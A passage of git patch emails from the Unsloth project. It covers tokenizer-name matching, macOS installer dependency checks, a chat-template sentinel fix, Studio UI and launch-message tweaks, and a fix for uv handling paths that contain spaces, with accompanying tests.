From e3c7d4dc4c9d960fce86af64bb03490900457ac4 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Tue, 23 Jun 2026 15:40:50 -0700
Subject: [PATCH 082/306] Match IGNORED_TOKENIZER_NAMES case-insensitively
 (#6620)

---
 tests/test_ignored_tokenizer_casing.py | 60 ++++++++++++++++++++++++++
 unsloth/tokenizer_utils.py             |  2 +-
 2 files changed, 61 insertions(+), 1 deletion(-)
 create mode 100644 tests/test_ignored_tokenizer_casing.py

diff --git a/tests/test_ignored_tokenizer_casing.py b/tests/test_ignored_tokenizer_casing.py
new file mode 100644
index 0000000000..aeeea981fc
--- /dev/null
+++ b/tests/test_ignored_tokenizer_casing.py
@@ -0,0 +1,60 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Regression test: the IGNORED_TOKENIZER_NAMES guard must match case-insensitively."""
+
+import types
+from unittest.mock import patch
+
+import unsloth.tokenizer_utils as tu
+
+
+class _Tok:
+    def __init__(self, kind):
+        self.kind = kind
+
+
+def _fake_auto_tokenizer():
+    # _load_correct_tokenizer loads a slow tokenizer (from_slow = True) and a fast one;
+    # return distinguishable stand-ins so we can see which one is returned.
+    def from_pretrained(name, **kwargs):
+        return _Tok("slow" if kwargs.get("from_slow") else "fast")
+
+    return types.SimpleNamespace(from_pretrained = from_pretrained)
+
+
+def test_ignored_tokenizer_name_matched_case_insensitively():
+    # IGNORED_TOKENIZER_NAMES is stored fully lowercased, but users pass canonical
+    # mixed-case ids. The names in this list (e.g. the Qwen2.5-Coder tokenizers) must be
+    # returned untouched; before the fix the mixed-case name never matched, so it fell
+    # through into the slow/fast reconciliation + conversion path.
+    name = "unsloth/Qwen2.5-Coder-7B-Instruct"  # name.lower() is in IGNORED_TOKENIZER_NAMES
+    assert name.lower() in tu.IGNORED_TOKENIZER_NAMES  # guard the test's own premise
+
+    with (
+        patch.object(tu, "AutoTokenizer", _fake_auto_tokenizer()),
+        patch.object(tu, "assert_same_tokenization", lambda a, b: False),
+        patch.object(tu, "convert_to_fast_tokenizer", lambda slow, **k: _Tok("converted")),
+    ):
+        result = tu._load_correct_tokenizer(name, fix_tokenizer = True)
+
+    assert result.kind == "fast", (
+        "an ignored tokenizer (matched case-insensitively) must be returned unchanged, "
+        f"but it fell through to conversion (got {result.kind!r})"
+    )
+
+
+if __name__ == "__main__":
+    test_ignored_tokenizer_name_matched_case_insensitively()
+    print("ok")
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index 3cec002012..eb18b1966c 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -601,7 +601,7 @@ def _load_correct_tokenizer(
         cache_dir = cache_dir,
     )
 
-    if not fix_tokenizer or tokenizer_name in IGNORED_TOKENIZER_NAMES:
+    if not fix_tokenizer or tokenizer_name.lower() in IGNORED_TOKENIZER_NAMES:
         return fast_tokenizer
     # Ignore Mistral ones - they're a bit weird to handle!
     elif "mistral" in tokenizer_name.lower():

From 1237cd4d84c84682ff2fa5528a5f8fd70abbca74 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Tue, 23 Jun 2026 20:38:15 -0300
Subject: [PATCH 083/306] Installer: don't require cmake/Homebrew on macOS
 (prebuilt llama.cpp) (#6617)

---
 install.sh | 60 ++++++++++++++++++++++++------------------------------
 1 file changed, 27 insertions(+), 33 deletions(-)

diff --git a/install.sh b/install.sh
index 62cc2920e6..5038de6264 100755
--- a/install.sh
+++ b/install.sh
@@ -1534,17 +1534,15 @@ _maybe_reroute_strixhalo_to_2404() {
 _maybe_reroute_strixhalo_to_2404 || true
 
 # ── Check system dependencies ──
-# cmake and git are needed by unsloth studio setup to build the GGUF inference
-# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux.
+# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a
+# prebuilt by default, and setup.sh self-skips the source build when they're
+# absent -- so macOS doesn't block on cmake (requiring it would force a manual
+# Homebrew install). Linux keeps requiring them; its package manager has them.
 tauri_log "STEP" "Checking system dependencies"
-MISSING=""
-
-command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
-command -v git   >/dev/null 2>&1 || MISSING="$MISSING git"
 
 case "$OS" in
     macos)
-        # Xcode Command Line Tools provide the C/C++ compiler
+        # Xcode Command Line Tools provide the C/C++ compiler and git.
         if ! xcode-select -p >/dev/null 2>&1; then
             echo ""
             echo "==> Xcode Command Line Tools are required."
@@ -1553,8 +1551,19 @@ case "$OS" in
             echo "    After the installation completes, please re-run this script."
             exit 1
         fi
+        # cmake is only needed for a source build; the default prebuilt path
+        # doesn't use it, so its absence is not fatal -- no Homebrew prerequisite.
+        if command -v cmake >/dev/null 2>&1; then
+            step "deps" "all system dependencies found"
+        else
+            step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN"
+            substep "Install cmake only if you want a source build: brew install cmake"
+        fi
         ;;
     linux|wsl)
+        MISSING=""
+        command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
+        command -v git   >/dev/null 2>&1 || MISSING="$MISSING git"
         # curl or wget is needed for downloads; check both
         if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then
             MISSING="$MISSING curl"
@@ -1562,27 +1571,12 @@ case "$OS" in
         command -v gcc  >/dev/null 2>&1 || MISSING="$MISSING build-essential"
         # libcurl dev headers for llama.cpp HTTPS support
         command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev"
-        ;;
-esac
 
-MISSING=$(echo "$MISSING" | sed 's/^ *//')
-
-if [ -n "$MISSING" ]; then
-    echo ""
-    step "deps" "missing: $MISSING" "$C_WARN"
-    substep "These are needed to build the GGUF inference engine."
-
-    case "$OS" in
-        macos)
-            if ! command -v brew >/dev/null 2>&1; then
-                echo ""
-                echo "    Homebrew is required to install them."
-                echo "    Install Homebrew from https://brew.sh then re-run this script."
-                exit 1
-            fi
-            brew install $MISSING </dev/null
-            ;;
-        linux|wsl)
+        MISSING=$(echo "$MISSING" | sed 's/^ *//')
+        if [ -n "$MISSING" ]; then
+            echo ""
+            step "deps" "missing: $MISSING" "$C_WARN"
+            substep "These are needed to build the GGUF inference engine."
             if command -v apt-get >/dev/null 2>&1; then
                 _smart_apt_install $MISSING
             else
@@ -1597,12 +1591,12 @@ if [ -n "$MISSING" ]; then
                 echo "      openSUSE:   sudo zypper install cmake git gcc gcc-c++ make libcurl-devel"
                 exit 1
             fi
-            ;;
-    esac
-    echo ""
-else
-    step "deps" "all system dependencies found"
-fi
+            echo ""
+        else
+            step "deps" "all system dependencies found"
+        fi
+        ;;
+esac
 
 # ── Install uv ──
 tauri_log "STEP" "Installing uv package manager"

From d42256a5c590858605978bfe05f1300270c11bfb Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Wed, 24 Jun 2026 00:40:53 -0700
Subject: [PATCH 084/306] Fix construct_chat_template leaking {INPUT}/{OUTPUT}
 sentinel into the chat template (#6531)

* Fix construct_chat_template leaking {INPUT}/{OUTPUT} sentinel into the template

In construct_chat_template's inner process() helper, the branch handling a
section that starts with the {INPUT}/{OUTPUT} sentinel sliced the part from
part.find(which) (which is 0 in that branch), so the literal sentinel was
re-included in the generated Jinja chat template. The endswith branch already
slices correctly with part[:part.find(which)]; this slices past the sentinel
with part[len(which):], so a template whose input or output section begins
with the sentinel (for example a user turn that starts with {INPUT}) renders
correctly instead of emitting a literal {INPUT}/{OUTPUT}.

Added a regression test covering {INPUT}-leading and {OUTPUT}-leading sections.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 ...test_construct_chat_template_validation.py | 37 +++++++++++++++++++
 unsloth/chat_templates.py                     |  2 +-
 2 files changed, 38 insertions(+), 1 deletion(-)

diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.py
index 2b1d012d14..66d3d80920 100644
--- a/tests/python/test_construct_chat_template_validation.py
+++ b/tests/python/test_construct_chat_template_validation.py
@@ -7,6 +7,8 @@ not silently drop the last char via s[:-1]. A minimal fake tokenizer keeps
 the cases CPU-only (no HF_TOKEN, no gated download).
 """
 
+from types import SimpleNamespace
+
 import pytest
 
 from unsloth.chat_templates import construct_chat_template
@@ -67,3 +69,38 @@ def test_error_message_excerpt_is_bounded():
     # Excerpt is capped well under the template length.
     assert len(msg) < 1000
     assert "{OUTPUT}" in msg
+
+
+class _SuccessFakeTokenizer(_FakeTokenizer):
+    """Adds the surface construct_chat_template touches on the success path."""
+
+    bos_token = "<s>"
+    bos_token_id = 1
+    added_tokens_decoder: dict = {}
+
+    def __call__(self, text):
+        # input_ids[0] must differ from bos_token_id so the BOS-handling branch is skipped.
+        return SimpleNamespace(input_ids = [5])
+
+
+@pytest.mark.parametrize(
+    "chat_template",
+    [
+        # User turn begins with {INPUT} (no prefix before the sentinel).
+        "{INPUT} [/INST] {OUTPUT}</s>{INPUT} [/INST] {OUTPUT}</s>",
+        # Assistant turn begins with {OUTPUT} (no prefix before the sentinel).
+        "User: {INPUT}\n{OUTPUT}</s>User: {INPUT}\n{OUTPUT}</s>",
+    ],
+)
+def test_chat_template_does_not_leak_sentinel_when_section_starts_with_it(chat_template):
+    """When an input/output section begins with the {INPUT}/{OUTPUT} sentinel, the
+    generated Jinja template must not keep the literal sentinel text. The `startswith`
+    branch in the internal `process()` helper used to slice from `find()` (which is 0
+    here) instead of past the sentinel, re-including the literal `{INPUT}`/`{OUTPUT}`."""
+    _, jinja_template, _, _ = construct_chat_template(
+        tokenizer = _SuccessFakeTokenizer(),
+        chat_template = chat_template,
+        extra_eos_tokens = ["</s>"],
+    )
+    assert "{INPUT}" not in jinja_template
+    assert "{OUTPUT}" not in jinja_template
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index fe078c5025..7f453bff82 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -2559,7 +2559,7 @@ extra_eos_tokens = None,
         if part.endswith(which):
             part = "'" + part[:part.find(which)] + f"' + {content}"
         elif part.startswith(which):
-            part = f"{content} + '" + part[part.find(which):] + "'"
+            part = f"{content} + '" + part[len(which):] + "'"
         else:
             part = "'" + part.replace(which, f"' + {content} + '") + "'"
         if part.startswith("'' + "): part = part[5:]

From 53c6ccc768ff28f1e53244c63ba5043a92277cc3 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 03:46:57 -0700
Subject: [PATCH 085/306] Studio: slim the GLM-5.2 thinking menu width (#6631)

* Studio: slim the GLM-5.2 thinking menu width

The high|max effort menu has short labels, so drop it from min-w-44 to
min-w-40 for GLM-5.2 only. Other models keep the wider dropdown.

* Studio: keep Preserve thinking menus at full width

Only narrow the effort menu when it has no Preserve thinking row. That
row is longer than the high|max labels and wraps to two lines at the
min-w-40 floor, so gate the skinnier width on no preserve-thinking.
---
 studio/frontend/src/features/chat/shared-composer.tsx | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 912d92003b..a50af46e85 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -612,6 +612,12 @@ export function SharedComposer({
   const isEffort =
     effectiveReasoningStyle === "reasoning_effort" ||
     effectiveReasoningStyle === "enable_thinking_effort";
+  // GLM-5.2's effort menu (Off, high, max) has short rows, so it can sit a
+  // touch skinnier. Skip the narrower floor when a Preserve thinking row is
+  // present, since that longer label needs the wider width to stay one line.
+  const narrowEffortMenu =
+    effectiveReasoningStyle === "enable_thinking_effort" &&
+    !supportsPreserveThinking;
   const thinkingActiveLook = isEffort
     ? reasoningLockedOn || (effectiveReasoningVisualEnabled && !reasoningDisabled)
     : reasoningLockedOn || (effectiveReasoningEnabled && !reasoningDisabled);
@@ -1785,7 +1791,10 @@ export function SharedComposer({
                 <DropdownMenuContent
                   side="top"
                   align="end"
-                  className="unsloth-plus-menu min-w-44"
+                  className={cn(
+                    "unsloth-plus-menu",
+                    narrowEffortMenu ? "min-w-40" : "min-w-44",
+                  )}
                 >
                   {isEffort ? (
                     <>

From 75166f2043094ab9566bbaccf4ba40106a2f302e Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 03:47:32 -0700
Subject: [PATCH 086/306] Studio: confirm saved Hugging Face token with a tick
 (#6630)

* Studio: confirm saved Hugging Face token with a tick

Pasting a token and clicking away saved it silently with no feedback.
Show a green tick in the field once a non-empty token is committed and
the input still matches the stored value, so the save is visible. Adds
the tokenSaved label to the en and zh-CN locales.

* Studio: let clicks pass through the saved-token tick

The decorative tick sat over the input and swallowed clicks, so clicking
it would not focus the field. Add pointer-events-none so clicks reach the
input; drop the now-unreachable title and keep an aria-label via role=img.
---
 .../features/settings/tabs/general-tab.tsx    | 25 +++++++++++++++++--
 studio/frontend/src/i18n/locales/en.ts        |  1 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |  1 +
 3 files changed, 25 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 6e34b3b23d..5f926e34c3 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -25,8 +25,9 @@ import {
   useShowLlamaUpdateBanner,
 } from "@/hooks/use-llama-update-pref";
 import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
+import { cn } from "@/lib/utils";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
-import { Eye, EyeOff } from "lucide-react";
+import { Check, Eye, EyeOff } from "lucide-react";
 import { useEffect, useRef, useState } from "react";
 import {
   type HelperPrecacheSettings,
@@ -171,6 +172,12 @@ export function GeneralTab() {
     if (trimmed !== hfToken) setHfToken(trimmed);
   };
 
+  // Show an "accepted" tick once a non-empty token has been committed to the
+  // store and the field still matches it (i.e. not mid-edit). Gives the user
+  // feedback that a pasted token was saved.
+  const tokenSaved =
+    draftToken.trim().length > 0 && draftToken.trim() === (hfToken ?? "");
+
   useEffect(() => {
     let cancelled = false;
     void loadUploadLimitSettings()
@@ -319,8 +326,22 @@ export function GeneralTab() {
               value={draftToken}
               onChange={(e) => setDraftToken(e.target.value)}
               onBlur={commitToken}
-              className="h-8 w-full pr-8 font-mono text-xs"
+              className={cn(
+                "h-8 w-full font-mono text-xs",
+                tokenSaved ? "pr-14" : "pr-8",
+              )}
             />
+            {tokenSaved ? (
+              // Decorative: pointer-events-none lets clicks reach the input
+              // underneath so the field still focuses anywhere.
+              <span
+                className="pointer-events-none absolute right-7 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center text-emerald-600 duration-150 animate-in fade-in zoom-in dark:text-emerald-500"
+                role="img"
+                aria-label={t("settings.general.tokenSaved")}
+              >
+                <Check className="size-4" strokeWidth={2.5} />
+              </span>
+            ) : null}
             <button
               type="button"
               onClick={() => setShowToken((s) => !s)}
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 7cd68865dd..885c0edd0e 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -106,6 +106,7 @@ export const en = {
         "Used to load gated models and push artifacts.",
       hideToken: "Hide token",
       showToken: "Show token",
+      tokenSaved: "Token saved",
       password: "Password",
       passwordDescription: "Change the password for this Studio account.",
       passwordDialog: {
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index 7a6a5ee66d..bc239294bd 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -105,6 +105,7 @@ export const zhCN = {
       huggingFaceTokenDescription: "用于加载受限模型和推送产物。",
       hideToken: "隐藏 token",
       showToken: "显示 token",
+      tokenSaved: "Token 已保存",
       password: "密码",
       passwordDescription: "更改此 Studio 账号的密码。",
       passwordDialog: {

From 7a2526620353acf63009c55cbf031b0c23abefd7 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 03:47:35 -0700
Subject: [PATCH 087/306] Fix _SameTaskStreamingResponse disconnect test
 bypassing __init__ (#6627)

* Fix _SameTaskStreamingResponse disconnect test bypassing __init__

test_same_task_response_closes_body_iterator_on_send_disconnect builds the
response via __new__ to skip Starlette's __init__, then wires body_iterator,
background, and stream_response by hand. It never set _unstarted_cleanup, so the
disconnect-before-first-chunk branch of __call__ raised AttributeError instead of
ClientDisconnect, failing the Backend CI "Repo tests (CPU)" job on main.

Set response._unstarted_cleanup = None in the manual construction, matching the
default __init__ assigns.

* Shorten the _unstarted_cleanup comment to one line
---
 tests/studio/test_stream_cancel_registration_timing.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 33deb7af9d..7cfe9bf32c 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -411,6 +411,8 @@ def test_same_task_response_closes_body_iterator_on_send_disconnect():
         response = m["_SameTaskStreamingResponse"].__new__(m["_SameTaskStreamingResponse"])
         response.body_iterator = agen
         response.background = None
+        # __new__ bypasses __init__; __call__'s disconnect branch reads _unstarted_cleanup.
+        response._unstarted_cleanup = None
 
         async def stream_response(_send):
             raise OSError("client disconnected")

From fad89aecf93a30069e615f5fc1646d6ac5759e31 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 03:48:32 -0700
Subject: [PATCH 088/306] Clarify Studio --secure hint exposes a public
 Cloudflare tunnel (#6615)

The installer/setup launch hints described --secure as merely allowing
HTTPS. In practice --secure forces a loopback bind and opens a public
Cloudflare quick tunnel (https://*.trycloudflare.com) to Studio, which
serves Python/terminal tools by default, so the old wording understated
the exposure. Update the hint to say it is a public Cloudflare HTTPS link
and that anyone with the API key can run code, matching the runtime
secure-mode banner.
---
 install.ps1     | 4 ++--
 install.sh      | 4 ++--
 studio/setup.sh | 2 +-
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 745c7369ea..f7f9540970 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2595,7 +2595,7 @@ exit 0
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure to allow HTTPS)"
+            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
             Write-Host ""
         }
     } else {
@@ -2616,7 +2616,7 @@ exit 0
             substep "unsloth studio -p 8888"
         }
         substep "(add -H 0.0.0.0 to allow network / cloud access)"
-        substep "(add --secure to allow HTTPS)"
+        substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
         Write-Host ""
     }
 }
diff --git a/install.sh b/install.sh
index 5038de6264..b3eaa61003 100755
--- a/install.sh
+++ b/install.sh
@@ -3154,7 +3154,7 @@ if [ -t 1 ]; then
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure to allow HTTPS)"
+            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
             echo ""
             ;;
     esac
@@ -3176,6 +3176,6 @@ else
         substep "unsloth studio -p 8888"
     fi
     substep "(add -H 0.0.0.0 to allow network / cloud access)"
-    substep "(add --secure to allow HTTPS)"
+    substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
     echo ""
 fi
diff --git a/studio/setup.sh b/studio/setup.sh
index e22186319f..2e1be1c9c2 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -1822,7 +1822,7 @@ else
         printf "  ${C_DIM}%-15s${C_OK}%s${C_RST}\n" "launch" "unsloth studio -p 8888"
     fi
     printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 to allow network / cloud access)"
-    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure to allow HTTPS)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
 fi
 echo ""
 

From d1529b1466dec0e40f5825e25e7a6d96dae4df9e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 03:49:19 -0700
Subject: [PATCH 089/306] Tidy verbose Studio launch messages (#6628)

* Tidy verbose Studio launch messages

The reachability failure hint, the loopback deploy block, and the stop
hint were several lines longer than they needed to be, and the banner
printed a Tip line that just repeated the URL already shown above. Shorten
them while keeping the useful detail (cloud provider names, the SSH
local-forward workaround, the relaunch command, the trusted-network and
macOS Ctrl+C notes). No behavior change, output wording only.

* Refine launch-message wording after review

Apply review feedback so the launch messages read well for both experts
and general users:
- reachability hint: restore the 'from your own computer' cue and put the
  ssh command on its own line so it stops wrapping, name the cloud rules
  precisely (GCP firewall / Azure NSG rule), and restore 'in your browser'
- loopback banner: add the missing colon, drop the Ctrl+C duplication
  (the stop hint already covers it), and explain the exposure in plain
  language instead of 'exposes the API on every interface'
- stop hint: trim so it fits an 80-column terminal without wrapping
- replace two pre-existing em dashes with --
---
 studio/backend/run.py            | 29 +++++++----------------------
 studio/backend/startup_banner.py | 29 ++++++++---------------------
 2 files changed, 15 insertions(+), 43 deletions(-)

diff --git a/studio/backend/run.py b/studio/backend/run.py
index bb57db9bcb..481fd623f3 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -340,34 +340,19 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
                 f"the public internet ({err_nodes}/{total} probe nodes failed).{reset}",
                 flush = True,
             )
-            print(f"{dim}    Common causes:{reset}", flush = True)
             print(
-                f"{dim}      * AWS  -- the instance's Security Group doesn't "
-                f"allow inbound TCP {port}.{reset}",
+                f"{dim}    Usually a cloud firewall (AWS security group, "
+                f"GCP firewall / Azure NSG rule) or home router isn't "
+                f"allowing inbound TCP {port}.{reset}",
                 flush = True,
             )
             print(
-                f"{dim}      * GCP  -- no firewall rule allowing TCP {port} "
-                f"for the instance's network tag.{reset}",
+                f"{dim}    No firewall change needed -- SSH local-forward "
+                f"from your own computer:{reset}",
                 flush = True,
             )
             print(
-                f"{dim}      * Azure / other clouds -- equivalent NSG / "
-                f"firewall rule missing.{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}      * Home -- your router isn't port-forwarding "
-                f"{port} to this machine.{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}    Workaround that needs no firewall changes -- "
-                f"SSH local-forward from your laptop:{reset}",
-                flush = True,
-            )
-            print(
-                f"{dim}        ssh -L {port}:localhost:{port} " f"<user>@{display_host}{reset}",
+                f"{dim}        ssh -L {port}:localhost:{port} <user>@{display_host}{reset}",
                 flush = True,
             )
             print(
@@ -622,7 +607,7 @@ def _graceful_shutdown(server = None):
     Windows where atexit handlers are unreliable after Ctrl+C.
     """
     _remove_pid_file()
-    logger.info("Graceful shutdown initiated — cleaning up subprocesses...")
+    logger.info("Graceful shutdown initiated -- cleaning up subprocesses...")
 
     # 1. Shut down uvicorn (releases the listening socket).
     if server is not None:
diff --git a/studio/backend/startup_banner.py b/studio/backend/startup_banner.py
index 52ac8cb012..13d6f8ef5e 100644
--- a/studio/backend/startup_banner.py
+++ b/studio/backend/startup_banner.py
@@ -3,7 +3,7 @@
 
 """Terminal banner for Studio startup.
 
-Stdlib only — safe to import without the rest of the backend.
+Stdlib only -- safe to import without the rest of the backend.
 """
 
 from __future__ import annotations
@@ -49,10 +49,10 @@ def print_studio_stop_hint() -> None:
             [
                 "",
                 style(
-                    "  To stop Unsloth Studio: press Ctrl+C in this terminal.",
+                    "  To stop Unsloth Studio: press Ctrl+C "
+                    "(Control+C, not Command+C, on macOS).",
                     stop_hint_style,
                 ),
-                style("  (On macOS this is Control+C, not Command+C.)", dim),
                 style("─" * 52, dim),
                 "",
             ]
@@ -101,7 +101,6 @@ def print_studio_access_banner(
     # Use the loopback URL only when reachable on loopback; otherwise show
     # the actual bound address.
     primary_url = loopback_url if listen_all or loopback_bind else external_url
-    tip_url = alt_local if listen_all or loopback_bind else external_url
     api_base = primary_url
 
     lines: list[str] = [
@@ -145,10 +144,6 @@ def print_studio_access_banner(
             style(f"    {api_base}/api", secondary),
             style(f"    {api_base}/api/health", secondary),
             style("─" * 52, dim),
-            style(
-                f"  Tip: if you are on this computer, open {tip_url}/ in your browser.",
-                dim,
-            ),
         ]
     )
 
@@ -157,23 +152,15 @@ def print_studio_access_banner(
             [
                 "",
                 style(
-                    "  Studio is only reachable on this machine (bound to 127.0.0.1).",
+                    "  Reachable on this machine only (bound to 127.0.0.1).",
                     secondary,
                 ),
                 style(
-                    "  To deploy and access globally:",
+                    f"  To expose it, stop and relaunch with:  unsloth studio -H 0.0.0.0 -p {port}",
                     secondary,
                 ),
                 style(
-                    "    1. press Ctrl+C to stop Studio",
-                    secondary,
-                ),
-                style(
-                    f"    2. relaunch with:  unsloth studio -H 0.0.0.0 -p {port}",
-                    secondary,
-                ),
-                style(
-                    "  Only do this on trusted networks -- it exposes the API on every interface.",
+                    "  Only on trusted networks -- anyone who reaches this machine can use Studio.",
                     secondary,
                 ),
             ]
@@ -184,10 +171,10 @@ def print_studio_access_banner(
             [
                 "",
                 style(
-                    "  To stop Unsloth Studio: press Ctrl+C in this terminal.",
+                    "  To stop Unsloth Studio: press Ctrl+C "
+                    "(Control+C, not Command+C, on macOS).",
                     stop_hint_style,
                 ),
-                style("  (On macOS this is Control+C, not Command+C.)", dim),
                 style("─" * 52, dim),
                 "",
             ]

From 9d536566141c83284b5398154c14ef4838a9e940 Mon Sep 17 00:00:00 2001
From: Saicharan Ramineni <84414237+GodlyDonuts@users.noreply.github.com>
Date: Wed, 24 Jun 2026 07:02:24 -0400
Subject: [PATCH 090/306] Make _uv_safe_path space-safe on macOS/Linux (#6503)
 (#6534)

* Copy uv `-c`/`-r` paths to a space-free temp dir on macOS/Linux

uv 0.11.x truncates a constraints/requirements path passed via `-c`/`-r`
at the first space, so `unsloth studio` setup from a repo cloned under a
path containing a space (e.g. `/Users/me/Open Source/unsloth`) fails with:

    error: File not found: `/Users/me/Open`

_uv_safe_path() already worked around this on Windows via the 8.3 short
path but returned the space-containing path unchanged on macOS/Linux,
which have no 8.3 equivalent. Extend it to copy the (small, flat)
constraints/requirements file into a space-free temp dir and hand uv the
copy; the temp dirs are removed at process exit. Falls back to the
original path on any error, so it is never worse than before.

Refs unslothai/unsloth#6503

* Route UV_OVERRIDE through _uv_safe_path and fix temp-dir leak (#6503)

The -c/-r fix did not cover UV_OVERRIDE, which uv also truncates at the first
space. On Apple Silicon the overrides file is handed to uv via UV_OVERRIDE at
install time (install_python_stack.py) and during the MLX self-heal
(utils.mlx_repair), so a repo under a path containing a space still broke every
uv call there. Move _uv_safe_path into backend.utils.uv_path_safety so both
sites share it, and route UV_OVERRIDE through it.

Also stop leaking the temp dir when shutil.copyfile fails after mkdtemp, and add
tests for the UV_OVERRIDE channel, the TMPDIR-with-space fallback, the atexit
cleanup, and the no-leak path.

---------

Co-authored-by: danielhanchen <danielhanchen@gmail.com>
---
 studio/backend/tests/test_mlx_repair.py   | 19 +++++
 studio/backend/utils/mlx_repair.py        |  5 +-
 studio/backend/utils/uv_path_safety.py    | 66 +++++++++++++++
 studio/install_python_stack.py            | 26 ++----
 tests/python/test_install_python_stack.py | 97 +++++++++++++++++++++++
 5 files changed, 191 insertions(+), 22 deletions(-)
 create mode 100644 studio/backend/utils/uv_path_safety.py

diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index bb8dfce049..1b0cbf9df1 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -338,3 +338,22 @@ def test_attempts_only_once_per_process(monkeypatch):
     second = mr.start_mlx_autorepair_if_needed()
     assert first is True
     assert second is False  # guard prevents a second concurrent attempt
+
+
+def test_mlx_install_env_routes_uv_override_through_safe_path(monkeypatch):
+    # uv truncates UV_OVERRIDE at the first space (issue #6503).
+    seen = {}
+
+    def _spy(path):
+        seen["path"] = path
+        return "/space free/marker.txt".replace(" ", "_")
+
+    monkeypatch.setattr(mr, "uv_safe_path", _spy)
+    monkeypatch.delenv("UV_OVERRIDE", raising = False)
+
+    env = mr._mlx_install_env()
+
+    # The override file ships in the repo, so the helper must have run.
+    assert "path" in seen
+    assert str(seen["path"]).endswith("overrides-darwin-arm64.txt")
+    assert env["UV_OVERRIDE"] == "/space_free/marker.txt"
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 7e980deb82..520c11c3b1 100644
